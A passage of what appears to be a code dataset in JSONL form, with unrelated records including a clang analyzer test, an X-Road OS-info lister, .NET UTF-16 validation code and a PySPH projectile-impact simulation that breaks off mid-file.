APSTUDIO_INVOKED\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Generated from the TEXTINCLUDE 3 resource.\r\n//\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n#endif // not APSTUDIO_INVOKED\r\n\r\n"} {"text": "// RUN: %clang_analyze_cc1 -analyzer-checker=core,deadcode.DeadStores,debug.Stats -verify -Wno-unreachable-code -analyzer-opt-analyze-nested-blocks -analyzer-max-loop 4 %s\n\nint foo();\n\nint test() { // expected-warning-re{{test -> Total CFGBlocks: {{[0-9]+}} | Unreachable CFGBlocks: 0 | Exhausted Block: no | Empty WorkList: yes}}\n int a = 1;\n a = 34 / 12;\n\n if (foo())\n return a;\n\n a /= 4;\n return a;\n}\n\n\nint sink() // expected-warning-re{{sink -> Total CFGBlocks: {{[0-9]+}} | Unreachable CFGBlocks: 1 | Exhausted Block: yes | Empty WorkList: yes}}\n{\n for (int i = 0; i < 10; ++i) // expected-warning {{(sink): The analyzer generated a sink at this point}}\n ++i;\n\n return 0;\n}\n\nint emptyConditionLoop() // expected-warning-re{{emptyConditionLoop -> Total CFGBlocks: {{[0-9]+}} | Unreachable CFGBlocks: 0 | Exhausted Block: yes | Empty WorkList: yes}}\n{\n int num = 1;\n for (;;)\n num++;\n}\n"} {"text": "#!/usr/bin/env node\n\nrequire(\"commoner\").resolve(function(id) {\n var context = this;\n\n return context.getProvidedP().then(function(idToPath) {\n // If a module declares its own identifier using @providesModule\n // then that identifier will be a key in the idToPath object.\n if (idToPath.hasOwnProperty(id))\n return context.readFileP(idToPath[id]);\n });\n\n}, function(id) {\n // Otherwise assume the identifier maps directly to a filesystem path.\n return this.readModuleP(id);\n\n}).process(function(id, source) {\n // As a simple example of a processing step, make sure the file ends\n // with exactly one newline character.\n return source.replace(/\\s+$/m, \"\\n\");\n});\n"} {"text": "package c\n\nimport \"golang.org/x/tools/internal/lsp/rename/b\"\n\nfunc _() {\n\tb.Hello() //@rename(\"Hello\", \"Goodbye\")\n}\n"} {"text": "/**\n * The MIT License\n * Copyright (c) 2015 Estonian Information System Authority (RIA), Population Register Centre (VRK)\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\npackage ee.ria.xroad.monitor.executablelister;\n\nimport ee.ria.xroad.monitor.JmxStringifiedData;\n\nimport com.google.common.base.CharMatcher;\nimport com.google.common.base.Splitter;\nimport lombok.extern.slf4j.Slf4j;\n\nimport java.io.IOException;\nimport java.util.List;\n\n/**\n * Created by janne on 5.11.2015.\n */\n@Slf4j\npublic class OsInfoLister extends AbstractExecLister<String> {\n\n private static final String SHOW_OS_INFO_COMMAND = \"cat /proc/version\";\n private static final int NUMBER_OF_FIELDS = 1;\n\n /**\n * Program entry point\n */\n public static void main(String[] args) throws IOException {\n JmxStringifiedData<String> p = new OsInfoLister().list();\n System.out.println(\"raw: \" + p.getJmxStringData());\n System.out.println(\"parsed: \" + p.getDtoData());\n }\n\n @Override\n protected String getCommand() {\n return SHOW_OS_INFO_COMMAND;\n }\n\n @Override\n protected Splitter getParsedDataSplitter() {\n return Splitter.on(CharMatcher.NONE);\n }\n\n @Override\n protected int numberOfColumnsToParse() {\n return NUMBER_OF_FIELDS;\n }\n\n @Override\n protected String parse(List<String> columns) {\n return columns.get(0);\n }\n}\n"} {"text": "/**\n * Serbian cyrillic translation for bootstrap-datetimepicker\n * Bojan Milosavlević <milboj@gmail.com>\n */\n;(function($){\n\t$.fn.datetimepicker.dates['rs'] = {\n\t\tdays: [\"Недеља\",\"Понедељак\", \"Уторак\", \"Среда\", \"Четвртак\", \"Петак\", \"Субота\", \"Недеља\"],\n\t\tdaysShort: [\"Нед\", \"Пон\", \"Уто\", \"Сре\", \"Чет\", \"Пет\", \"Суб\", \"Нед\"],\n\t\tdaysMin: [\"Н\", \"По\", \"У\", \"Ср\", \"Ч\", \"Пе\", \"Су\", \"Н\"],\n\t\tmonths: [\"Јануар\", \"Фебруар\", \"Март\", \"Април\", \"Мај\", \"Јун\", \"Јул\", \"Август\", \"Септембар\", \"Октобар\", \"Новембар\", \"Децембар\"],\n\t\tmonthsShort: [\"Јан\", \"Феб\", \"Мар\", \"Апр\", \"Мај\", \"Јун\", \"Јул\", \"Авг\", \"Сеп\", \"Окт\", \"Нов\", \"Дец\"],\n\t\ttoday: \"Данас\",\n\t\tsuffix: [],\n\t\tmeridiem: []\n\t};\n}(jQuery));\n"} {"text": "4\nclass C\nC@2\n"} {"text": "spring:\n application:\n name: user-service-consumer # 应用名\n\ncom.alipay.sofa.rpc.registry.address: zookeeper://127.0.0.1:2181 # SOFARPC 注解中心\n"} {"text": "fileFormatVersion: 2\nguid: a875527031a6f6947af4dcf597a362bc\ntimeCreated: 1457865934\nlicenseType: Pro\nMonoImporter:\n serializedVersion: 2\n defaultReferences: []\n executionOrder: 0\n icon: {instanceID: 0}\n userData: \n assetBundleName: \n assetBundleVariant: \n"} {"text": "#!/usr/bin/env node\nrequire('./server.babel'); // babel registration (runtime transpilation for node)\nconst path = require('path');\n\nconst rootDir = path.resolve(__dirname, '..');\n/**\n * Define isomorphic constants.\n */\nglobal.__CLIENT__ = false;\nglobal.__SERVER__ = true;\nglobal.__DISABLE_SSR__ = false; // <----- DISABLES SERVER SIDE RENDERING FOR ERROR DEBUGGING\nglobal.__DEVELOPMENT__ = process.env.NODE_ENV !== 'production';\n\nif (__DEVELOPMENT__) {\n if (\n !require('piping')({\n //Fork the process and supervise the child for hot-reloading code\n hook: true,\n ignore: /(\\/\\.|~$|\\.json|\\.scss$)/i,\n })\n ) {\n return; //The parent process ends, and child process continues from below\n }\n}\n\nconst WebpackIsomorphicTools = require('webpack-isomorphic-tools');\nglobal.webpackIsomorphicTools = new WebpackIsomorphicTools(\n require('../webpack/webpack-isomorphic-tools')\n).server(rootDir, () => {\n require('../src/server');\n});\n\nrequire('../src/server');\n"} {"text": "// Licensed to the .NET Foundation under one or more agreements.\n// The .NET Foundation licenses this file to you under the MIT license.\n\nusing System.Diagnostics;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.Intrinsics;\nusing System.Runtime.Intrinsics.X86;\nusing System.Numerics;\n\n#if SYSTEM_PRIVATE_CORELIB\nusing Internal.Runtime.CompilerServices;\n#endif\n\n#pragma warning disable SA1121 // explicitly using type aliases instead of built-in types\n#if SYSTEM_PRIVATE_CORELIB\n#if TARGET_64BIT\nusing nint = System.Int64;\nusing nuint = System.UInt64;\n#else // TARGET_64BIT\nusing nint = System.Int32;\nusing nuint = System.UInt32;\n#endif // TARGET_64BIT\n#else\nusing nint = System.Int64; // https://github.com/dotnet/runtime/issues/33575 - use long/ulong outside of corelib until the compiler supports it\nusing nuint = System.UInt64;\n#endif\n\nnamespace System.Text.Unicode\n{\n internal static unsafe partial class Utf16Utility\n {\n#if DEBUG && SYSTEM_PRIVATE_CORELIB\n static Utf16Utility()\n {\n Debug.Assert(sizeof(nint) == IntPtr.Size && nint.MinValue < 0, \"nint is defined incorrectly.\");\n Debug.Assert(sizeof(nuint) == IntPtr.Size && nuint.MinValue == 0, \"nuint is defined incorrectly.\");\n }\n#endif // DEBUG && SYSTEM_PRIVATE_CORELIB\n\n // Returns &inputBuffer[inputLength] if the input buffer is valid.\n /// <summary>\n /// Given an input buffer <paramref name=\"pInputBuffer\"/> of char length <paramref name=\"inputLength\"/>,\n /// returns a pointer to where the first invalid data appears in <paramref name=\"pInputBuffer\"/>.\n /// </summary>\n /// <remarks>\n /// Returns a pointer to the end of <paramref name=\"pInputBuffer\"/> if the buffer is well-formed.\n /// </remarks>\n public static char* GetPointerToFirstInvalidChar(char* pInputBuffer, int inputLength, out long utf8CodeUnitCountAdjustment, out int scalarCountAdjustment)\n {\n Debug.Assert(inputLength >= 0, \"Input length must not be negative.\");\n Debug.Assert(pInputBuffer != null || inputLength == 0, \"Input length must be zero if input buffer pointer is null.\");\n\n // First, we'll handle the common case of all-ASCII. If this is able to\n // consume the entire buffer, we'll skip the remainder of this method's logic.\n\n int numAsciiCharsConsumedJustNow = (int)ASCIIUtility.GetIndexOfFirstNonAsciiChar(pInputBuffer, (uint)inputLength);\n Debug.Assert(0 <= numAsciiCharsConsumedJustNow && numAsciiCharsConsumedJustNow <= inputLength);\n\n pInputBuffer += (uint)numAsciiCharsConsumedJustNow;\n inputLength -= numAsciiCharsConsumedJustNow;\n\n if (inputLength == 0)\n {\n utf8CodeUnitCountAdjustment = 0;\n scalarCountAdjustment = 0;\n return pInputBuffer;\n }\n\n // If we got here, it means we saw some non-ASCII data, so within our\n // vectorized code paths below we'll handle all non-surrogate UTF-16\n // code points branchlessly. We'll only branch if we see surrogates.\n //\n // We still optimistically assume the data is mostly ASCII. This means that the\n // number of UTF-8 code units and the number of scalars almost matches the number\n // of UTF-16 code units. As we go through the input and find non-ASCII\n // characters, we'll keep track of these \"adjustment\" fixups. To get the\n // total number of UTF-8 code units required to encode the input data, add\n // the UTF-8 code unit count adjustment to the number of UTF-16 code units\n // seen. To get the total number of scalars present in the input data,\n // add the scalar count adjustment to the number of UTF-16 code units seen.\n\n long tempUtf8CodeUnitCountAdjustment = 0;\n int tempScalarCountAdjustment = 0;\n\n if (Sse2.IsSupported)\n {\n if (inputLength >= Vector128<ushort>.Count)\n {\n Vector128<ushort> vector0080 = Vector128.Create((ushort)0x80);\n Vector128<ushort> vectorA800 = Vector128.Create((ushort)0xA800);\n Vector128<short> vector8800 = Vector128.Create(unchecked((short)0x8800));\n Vector128<ushort> vectorZero = Vector128<ushort>.Zero;\n\n do\n {\n Vector128<ushort> utf16Data = Sse2.LoadVector128((ushort*)pInputBuffer); // unaligned\n uint mask;\n\n Vector128<ushort> charIsNonAscii;\n if (Sse41.IsSupported)\n {\n // Sets the 0x0080 bit of each element in 'charIsNonAscii' if the corresponding\n // input was 0x0080 <= [value]. (i.e., [value] is non-ASCII.)\n\n charIsNonAscii = Sse41.Min(utf16Data, vector0080);\n }\n else\n {\n // Sets the 0x0080 bit of each element in 'charIsNonAscii' if the corresponding\n // input was 0x0080 <= [value] <= 0x7FFF. The case where 0x8000 <= [value] will\n // be handled in a few lines.\n\n charIsNonAscii = Sse2.AndNot(Sse2.CompareGreaterThan(vector0080.AsInt16(), utf16Data.AsInt16()).AsUInt16(), vector0080);\n }\n\n#if DEBUG\n // Quick check to ensure we didn't accidentally set the 0x8000 bit of any element.\n uint debugMask = (uint)Sse2.MoveMask(charIsNonAscii.AsByte());\n Debug.Assert((debugMask & 0b_1010_1010_1010_1010) == 0, \"Shouldn't have set the 0x8000 bit of any element in 'charIsNonAscii'.\");\n#endif // DEBUG\n\n // Sets the 0x8080 bits of each element in 'charIsNonAscii' if the corresponding\n // input was 0x0800 <= [value]. This also handles the missing range a few lines above.\n\n Vector128<ushort> charIsThreeByteUtf8Encoded = Sse2.Subtract(vectorZero, Sse2.ShiftRightLogical(utf16Data, 11));\n\n mask = (uint)Sse2.MoveMask(Sse2.Or(charIsNonAscii, charIsThreeByteUtf8Encoded).AsByte());\n\n // Each even bit of mask will be 1 only if the char was >= 0x0080,\n // and each odd bit of mask will be 1 only if the char was >= 0x0800.\n //\n // Example for UTF-16 input \"[ 0123 ] [ 1234 ] ...\":\n //\n // ,-- set if char[1] is >= 0x0800\n // | ,-- set if char[0] is >= 0x0800\n // v v\n // mask = ... 1 1 0 1\n // ^ ^-- set if char[0] is non-ASCII\n // `-- set if char[1] is non-ASCII\n //\n // This means we can popcnt the number of set bits, and the result is the\n // number of *additional* UTF-8 bytes that each UTF-16 code unit requires as\n // it expands. This results in the wrong count for UTF-16 surrogate code\n // units (we just counted that each individual code unit expands to 3 bytes,\n // but in reality a well-formed UTF-16 surrogate pair expands to 4 bytes).\n // We'll handle this in just a moment.\n //\n // For now, compute the popcnt but squirrel it away. We'll fold it in to the\n // cumulative UTF-8 adjustment factor once we determine that there are no\n // unpaired surrogates in our data. (Unpaired surrogates would invalidate\n // our computed result and we'd have to throw it away.)\n\n uint popcnt = (uint)BitOperations.PopCount(mask);\n\n // Surrogates need to be special-cased for two reasons: (a) we need\n // to account for the fact that we over-counted in the addition above;\n // and (b) they require separate validation.\n\n utf16Data = Sse2.Add(utf16Data, vectorA800);\n mask = (uint)Sse2.MoveMask(Sse2.CompareLessThan(utf16Data.AsInt16(), vector8800).AsByte());\n\n if (mask != 0)\n {\n // There's at least one UTF-16 surrogate code unit present.\n // Since we performed a pmovmskb operation on the result of a 16-bit pcmpgtw,\n // the resulting bits of 'mask' will occur in pairs:\n // - 00 if the corresponding UTF-16 char was not a surrogate code unit;\n // - 11 if the corresponding UTF-16 char was a surrogate code unit.\n //\n // A UTF-16 high/low surrogate code unit has the bit pattern [ 11011q## ######## ],\n // where # is any bit; q = 0 represents a high surrogate, and q = 1 represents\n // a low surrogate. Since we added 0xA800 in the vectorized operation above,\n // our surrogate pairs will now have the bit pattern [ 10000q## ######## ].\n // If we logical right-shift each word by 3, we'll end up with the bit pattern\n // [ 00010000 q####### ], which means that we can immediately use pmovmskb to\n // determine whether a given char was a high or a low surrogate.\n //\n // Therefore the resulting bits of 'mask2' will occur in pairs:\n // - 00 if the corresponding UTF-16 char was a high surrogate code unit;\n // - 01 if the corresponding UTF-16 char was a low surrogate code unit;\n // - ## (garbage) if the corresponding UTF-16 char was not a surrogate code unit.\n // Since 'mask' already has 00 in these positions (since the corresponding char\n // wasn't a surrogate), \"mask AND mask2 == 00\" holds for these positions.\n\n uint mask2 = (uint)Sse2.MoveMask(Sse2.ShiftRightLogical(utf16Data, 3).AsByte());\n\n // 'lowSurrogatesMask' has its bits occur in pairs:\n // - 01 if the corresponding char was a low surrogate char,\n // - 00 if the corresponding char was a high surrogate char or not a surrogate at all.\n\n uint lowSurrogatesMask = mask2 & mask;\n\n // 'highSurrogatesMask' has its bits occur in pairs:\n // - 01 if the corresponding char was a high surrogate char,\n // - 00 if the corresponding char was a low surrogate char or not a surrogate at all.\n\n uint highSurrogatesMask = (mask2 ^ 0b_0101_0101_0101_0101u /* flip all even-numbered bits 00 <-> 01 */) & mask;\n\n Debug.Assert((highSurrogatesMask & lowSurrogatesMask) == 0,\n \"A char cannot simultaneously be both a high and a low surrogate char.\");\n\n Debug.Assert(((highSurrogatesMask | lowSurrogatesMask) & 0b_1010_1010_1010_1010u) == 0,\n \"Only even bits (no odd bits) of the masks should be set.\");\n\n // Now check that each high surrogate is followed by a low surrogate and that each\n // low surrogate follows a high surrogate. We make an exception for the case where\n // the final char of the vector is a high surrogate, since we can't perform validation\n // on it until the next iteration of the loop when we hope to consume the matching\n // low surrogate.\n\n highSurrogatesMask <<= 2;\n if ((ushort)highSurrogatesMask != lowSurrogatesMask)\n {\n goto NonVectorizedLoop; // error: mismatched surrogate pair; break out of vectorized logic\n }\n\n if (highSurrogatesMask > ushort.MaxValue)\n {\n // There was a standalone high surrogate at the end of the vector.\n // We'll adjust our counters so that we don't consider this char consumed.\n\n highSurrogatesMask = (ushort)highSurrogatesMask; // don't allow stray high surrogate to be consumed by popcnt\n popcnt -= 2; // the '0xC000_0000' bits in the original mask are shifted out and discarded, so account for that here\n pInputBuffer--;\n inputLength++;\n }\n\n // If we're 64-bit, we can perform the zero-extension of the surrogate pairs count for\n // free right now, saving the extension step a few lines below. If we're 32-bit, the\n // convertion to nuint immediately below is a no-op, and we'll pay the cost of the real\n // 64 -bit extension a few lines below.\n nuint surrogatePairsCountNuint = (uint)BitOperations.PopCount(highSurrogatesMask);\n\n // 2 UTF-16 chars become 1 Unicode scalar\n\n tempScalarCountAdjustment -= (int)surrogatePairsCountNuint;\n\n // Since each surrogate code unit was >= 0x0800, we eagerly assumed\n // it'd be encoded as 3 UTF-8 code units, so our earlier popcnt computation\n // assumes that the pair is encoded as 6 UTF-8 code units. Since each\n // pair is in reality only encoded as 4 UTF-8 code units, we need to\n // perform this adjustment now.\n\n if (IntPtr.Size == 8)\n {\n // Since we've already zero-extended surrogatePairsCountNuint, we can directly\n // sub + sub. It's more efficient than shl + sub.\n tempUtf8CodeUnitCountAdjustment -= (long)surrogatePairsCountNuint;\n tempUtf8CodeUnitCountAdjustment -= (long)surrogatePairsCountNuint;\n }\n else\n {\n // Take the hit of the 64-bit extension now.\n tempUtf8CodeUnitCountAdjustment -= 2 * (uint)surrogatePairsCountNuint;\n }\n }\n\n tempUtf8CodeUnitCountAdjustment += popcnt;\n pInputBuffer += Vector128<ushort>.Count;\n inputLength -= Vector128<ushort>.Count;\n } while (inputLength >= Vector128<ushort>.Count);\n }\n }\n else if (Vector.IsHardwareAccelerated)\n {\n if (inputLength >= Vector<ushort>.Count)\n {\n Vector<ushort> vector0080 = new Vector<ushort>(0x0080);\n Vector<ushort> vector0400 = new Vector<ushort>(0x0400);\n Vector<ushort> vector0800 = new Vector<ushort>(0x0800);\n Vector<ushort> vectorD800 = new Vector<ushort>(0xD800);\n\n do\n {\n // The 'twoOrMoreUtf8Bytes' and 'threeOrMoreUtf8Bytes' vectors will contain\n // elements whose values are 0xFFFF (-1 as signed word) iff the corresponding\n // UTF-16 code unit was >= 0x0080 and >= 0x0800, respectively. By summing these\n // vectors, each element of the sum will contain one of three values:\n //\n // 0x0000 ( 0) = original char was 0000..007F\n // 0xFFFF (-1) = original char was 0080..07FF\n // 0xFFFE (-2) = original char was 0800..FFFF\n //\n // We'll negate them to produce a value 0..2 for each element, then sum all the\n // elements together to produce the number of *additional* UTF-8 code units\n // required to represent this UTF-16 data. This is similar to the popcnt step\n // performed by the SSE2 code path. This will overcount surrogates, but we'll\n // handle that shortly.\n\n Vector<ushort> utf16Data = Unsafe.ReadUnaligned<Vector<ushort>>(pInputBuffer);\n Vector<ushort> twoOrMoreUtf8Bytes = Vector.GreaterThanOrEqual(utf16Data, vector0080);\n Vector<ushort> threeOrMoreUtf8Bytes = Vector.GreaterThanOrEqual(utf16Data, vector0800);\n Vector<nuint> sumVector = (Vector<nuint>)(Vector<ushort>.Zero - twoOrMoreUtf8Bytes - threeOrMoreUtf8Bytes);\n\n // We'll try summing by a natural word (rather than a 16-bit word) at a time,\n // which should halve the number of operations we must perform.\n\n nuint popcnt = 0;\n for (int i = 0; i < Vector<nuint>.Count; i++)\n {\n popcnt += sumVector[i];\n }\n\n uint popcnt32 = (uint)popcnt;\n if (IntPtr.Size == 8)\n {\n popcnt32 += (uint)(popcnt >> 32);\n }\n\n // As in the SSE4.1 paths, compute popcnt but don't fold it in until we\n // know there aren't any unpaired surrogates in the input data.\n\n popcnt32 = (ushort)popcnt32 + (popcnt32 >> 16);\n\n // Now check for surrogates.\n\n utf16Data -= vectorD800;\n Vector<ushort> surrogateChars = Vector.LessThan(utf16Data, vector0800);\n if (surrogateChars != Vector<ushort>.Zero)\n {\n // There's at least one surrogate (high or low) UTF-16 code unit in\n // the vector. We'll build up additional vectors: 'highSurrogateChars'\n // and 'lowSurrogateChars', where the elements are 0xFFFF iff the original\n // UTF-16 code unit was a high or low surrogate, respectively.\n\n Vector<ushort> highSurrogateChars = Vector.LessThan(utf16Data, vector0400);\n Vector<ushort> lowSurrogateChars = Vector.AndNot(surrogateChars, highSurrogateChars);\n\n // We want to make sure that each high surrogate code unit is followed by\n // a low surrogate code unit and each low surrogate code unit follows a\n // high surrogate code unit. Since we don't have an equivalent of pmovmskb\n // or palignr available to us, we'll do this as a loop. We won't look at\n // the very last high surrogate char element since we don't yet know if\n // the next vector read will have a low surrogate char element.\n\n if (lowSurrogateChars[0] != 0)\n {\n goto Error; // error: start of buffer contains standalone low surrogate char\n }\n\n ushort surrogatePairsCount = 0;\n for (int i = 0; i < Vector<ushort>.Count - 1; i++)\n {\n surrogatePairsCount -= highSurrogateChars[i]; // turns into +1 or +0\n if (highSurrogateChars[i] != lowSurrogateChars[i + 1])\n {\n goto NonVectorizedLoop; // error: mismatched surrogate pair; break out of vectorized logic\n }\n }\n\n if (highSurrogateChars[Vector<ushort>.Count - 1] != 0)\n {\n // There was a standalone high surrogate at the end of the vector.\n // We'll adjust our counters so that we don't consider this char consumed.\n\n pInputBuffer--;\n inputLength++;\n popcnt32 -= 2;\n }\n\n nint surrogatePairsCountNint = (nint)surrogatePairsCount; // zero-extend to native int size\n\n // 2 UTF-16 chars become 1 Unicode scalar\n\n tempScalarCountAdjustment -= (int)surrogatePairsCountNint;\n\n // Since each surrogate code unit was >= 0x0800, we eagerly assumed\n // it'd be encoded as 3 UTF-8 code units. Each surrogate half is only\n // encoded as 2 UTF-8 code units (for 4 UTF-8 code units total),\n // so we'll adjust this now.\n\n tempUtf8CodeUnitCountAdjustment -= surrogatePairsCountNint;\n tempUtf8CodeUnitCountAdjustment -= surrogatePairsCountNint;\n }\n\n tempUtf8CodeUnitCountAdjustment += popcnt32;\n pInputBuffer += Vector<ushort>.Count;\n inputLength -= Vector<ushort>.Count;\n } while (inputLength >= Vector<ushort>.Count);\n }\n }\n\n NonVectorizedLoop:\n\n // Vectorization isn't supported on our current platform, or the input was too small to benefit\n // from vectorization, or we saw invalid UTF-16 data in the vectorized code paths and need to\n // drain remaining valid chars before we report failure.\n\n for (; inputLength > 0; pInputBuffer++, inputLength--)\n {\n uint thisChar = pInputBuffer[0];\n if (thisChar <= 0x7F)\n {\n continue;\n }\n\n // Bump adjustment by +1 for U+0080..U+07FF; by +2 for U+0800..U+FFFF.\n // This optimistically assumes no surrogates, which we'll handle shortly.\n\n tempUtf8CodeUnitCountAdjustment += (thisChar + 0x0001_F800u) >> 16;\n\n if (!UnicodeUtility.IsSurrogateCodePoint(thisChar))\n {\n continue;\n }\n\n // Found a surrogate char. Back out the adjustment we made above, then\n // try to consume the entire surrogate pair all at once. We won't bother\n // trying to interpret the surrogate pair as a scalar value; we'll only\n // validate that its bit pattern matches what's expected for a surrogate pair.\n\n tempUtf8CodeUnitCountAdjustment -= 2;\n\n if (inputLength == 1)\n {\n goto Error; // input buffer too small to read a surrogate pair\n }\n\n thisChar = Unsafe.ReadUnaligned<uint>(pInputBuffer);\n if (((thisChar - (BitConverter.IsLittleEndian ? 0xDC00_D800u : 0xD800_DC00u)) & 0xFC00_FC00u) != 0)\n {\n goto Error; // not a well-formed surrogate pair\n }\n\n tempScalarCountAdjustment--; // 2 UTF-16 code units -> 1 scalar\n tempUtf8CodeUnitCountAdjustment += 2; // 2 UTF-16 code units -> 4 UTF-8 code units\n\n pInputBuffer++; // consumed one extra char\n inputLength--;\n }\n\n Error:\n\n // Also used for normal return.\n\n utf8CodeUnitCountAdjustment = tempUtf8CodeUnitCountAdjustment;\n scalarCountAdjustment = tempScalarCountAdjustment;\n return pInputBuffer;\n }\n }\n}\n"} {"text": "\"\"\"High-velocity impact of an Steel projectile on an Aluminium plate\"\"\"\n\nimport numpy\n\n# SPH equations\nfrom pysph.sph.equation import Group\n\nfrom pysph.sph.basic_equations import IsothermalEOS, ContinuityEquation, MonaghanArtificialViscosity,\\\n XSPHCorrection, VelocityGradient3D\n\nfrom pysph.sph.solid_mech.basic import MomentumEquationWithStress, HookesDeviatoricStressRate,\\\n MonaghanArtificialStress, EnergyEquationWithStress\n\nfrom pysph.sph.solid_mech.hvi import VonMisesPlasticity2D, MieGruneisenEOS, StiffenedGasEOS\n\nfrom pysph.sph.gas_dynamics.basic import UpdateSmoothingLengthFromVolume\n\nfrom pysph.base.utils import get_particle_array\nfrom pysph.base.kernels import Gaussian, CubicSpline, WendlandQuintic\nfrom pysph.solver.application import Application\nfrom pysph.solver.solver import Solver\nfrom pysph.sph.integrator import PECIntegrator, EPECIntegrator\nfrom pysph.sph.integrator_step import SolidMechStep\n\ndef add_properties(pa, *props):\n for prop in props:\n pa.add_property(name=prop)\n\n# Parameters\ndx = dy = dz = 0.0005 # m\nhdx = 1.3\nh = hdx*dx\nr = 0.005\n\n######################################################################\n# Material properties: Table (1) of \"A Free Lagrange Augmented Godunov Method\n# for the Simulation of Elastic-Plastic Solids\", B. P. Howell and G. J. Ball,\n# JCP (2002)\n\n# ALUMINIUM\nro1 = 2785.0 # refenrence density\nC1 = 5328.0 # reference sound-speed\nS1 = 1.338 # Particle-shock velocity slope\ngamma1 = 2.0 # Gruneisen gamma/parameter\nG1 = 2.76e7 # Shear Modulus (kPa)\nYo1 = 0.3e6 # Yield stress\nE1 = ro1*C1*C1 # Youngs Modulus\n\n# STEEL\nro2 = 7900.0 # reference density\nC2 = 4600.0 # reference sound-speed\nS2 = 1.490 # Particle shock velocity slope\ngamma2 = 2.17 # Gruneisen gamma/parameter\nG2 = 8.530e7 # Shear modulus\nYo2 = 0.979e6 # Yield stress\nE2 = ro2*C2*C2 # Youngs modulus\n\n# general\nv_s = 3100.0 # Projectile velocity 3.1 km/s\ncs1=numpy.sqrt(E1/ro1) # speed of sound in aluminium\ncs2=numpy.sqrt(E2/ro2) # speed of sound in steel\n\n######################################################################\n# SPH constants and parameters\n\n# Monaghan-type artificial viscosity\navisc_alpha = 1.0; avisc_beta = 1.5; avisc_eta = 0.1\n\n# XSPH epsilon\nxsph_eps = 0.5\n\n# SAV1 artificial viscosity coefficients\nalpha1 = 1.0\nbeta1 = 1.5\neta = 0.1# in piab equation eta2 was written so final value is 0.01.(as req.)\n\n# SAV2\nalpha2 = 2.5\nbeta2 = 2.5\neta = 0.1# in piab equation eta2 was written so final value is 0.01.(as req.)\n\n# XSPH\neps = 0.5\n\n######################################################################\n# Particle creation rouintes\ndef get_projectile_particles():\n\n x, y, z = numpy.mgrid[-r:r+1e-6:dx, -r:r+1e-6:dx, -r:r+1e-6:dx]\n x = x.ravel()\n y = y.ravel()\n z = z.ravel()\n\n d = (x*x+y*y+z*z)\n keep = numpy.flatnonzero(d<=r*r)\n x = x[keep]\n y = y[keep]\n z = z[keep]\n\n x = x-(r+2*dx)\n print('%d Projectile particles'%len(x))\n\n hf = numpy.ones_like(x) * h\n mf = numpy.ones_like(x) * dx * dy * dz * ro2\n rhof = numpy.ones_like(x) * ro2\n csf = numpy.ones_like(x) * cs2\n u = numpy.ones_like(x) * v_s\n\n pa = projectile = get_particle_array(\n name=\"projectile\", x=x, y=y, z=z, h=hf, m=mf, rho=rhof, cs=csf, u=u)\n\n # add requisite properties\n # sound speed etc.\n add_properties(pa, 'e')\n\n # velocity gradient properties\n add_properties(pa, 'v00', 'v01', 'v02', 'v10', 'v11', 'v12', 'v20', 'v21', 'v22')\n\n # artificial stress properties\n add_properties(pa, 'r00', 'r01', 'r02', 'r11', 'r12', 'r22')\n\n # deviatoric stress components\n add_properties(pa, 's00', 's01', 's02', 's11', 's12', 's22')\n\n # deviatoric stress accelerations\n add_properties(pa, 'as00', 'as01', 'as02', 'as11', 'as12', 'as22')\n\n # deviatoric stress initial values\n add_properties(pa, 's000', 's010', 's020', 's110', 's120', 's220')\n\n # standard acceleration variables\n add_properties(pa, 'arho', 'au', 'av', 'aw', 'ax', 'ay', 'az', 'ae')\n\n # initial values\n add_properties(pa, 'rho0', 'u0', 'v0', 'w0', 'x0', 'y0', 'z0', 'e0')\n\n pa.add_constant('G', G2)\n pa.add_constant('n', 4)\n\n kernel = Gaussian(dim=3)\n wdeltap = kernel.kernel(rij=dx, h=hdx*dx)\n pa.add_constant('wdeltap', wdeltap)\n\n # load balancing properties\n pa.set_lb_props( list(pa.properties.keys()) )\n\n return projectile\n\ndef get_plate_particles():\n xarr = numpy.arange(0, 0.002+dx, dx)\n yarr = numpy.arange(-0.020, 0.02+dx, dx)\n zarr = numpy.arange(-0.02, 0.02+dx, dx)\n\n x, y, z = numpy.mgrid[0:0.002+dx:dx, -0.02:0.02+dx:dx, -0.02:0.02+dx:dx]\n x = x.ravel()\n y = y.ravel()\n z = z.ravel()\n\n print('%d Target particles'%len(x))\n\n hf = numpy.ones_like(x) * h\n mf = numpy.ones_like(x) * dx * dy * dz * ro1\n rhof = numpy.ones_like(x) * ro1\n csf = numpy.ones_like(x) * cs1\n pa = plate = get_particle_array(name=\"plate\",\n x=x, y=y, z=z, h=hf, m=mf, rho=rhof, cs=csf)\n\n # add requisite properties\n # sound speed etc.\n add_properties(pa, 'e' )\n\n # velocity gradient properties\n add_properties(pa, 'v00', 'v01', 'v02', 'v10', 'v11', 'v12', 'v20', 'v21', 'v22')\n\n # artificial stress properties\n add_properties(pa, 'r00', 'r01', 'r02', 'r11', 'r12', 'r22')\n\n # deviatoric stress components\n add_properties(pa, 's00', 's01', 's02', 's11', 's12', 's22')\n\n # deviatoric stress accelerations\n add_properties(pa, 'as00', 'as01', 'as02', 'as11', 'as12', 'as22')\n\n # deviatoric stress initial values\n add_properties(pa, 's000', 's010', 's020', 's110', 's120', 's220')\n\n # standard acceleration variables\n add_properties(pa, 'arho', 'au', 'av', 'aw', 'ax', 'ay', 'az', 'ae')\n\n # initial values\n add_properties(pa, 'rho0', 'u0', 'v0', 'w0', 'x0', 'y0', 'z0', 'e0')\n\n pa.add_constant('G', 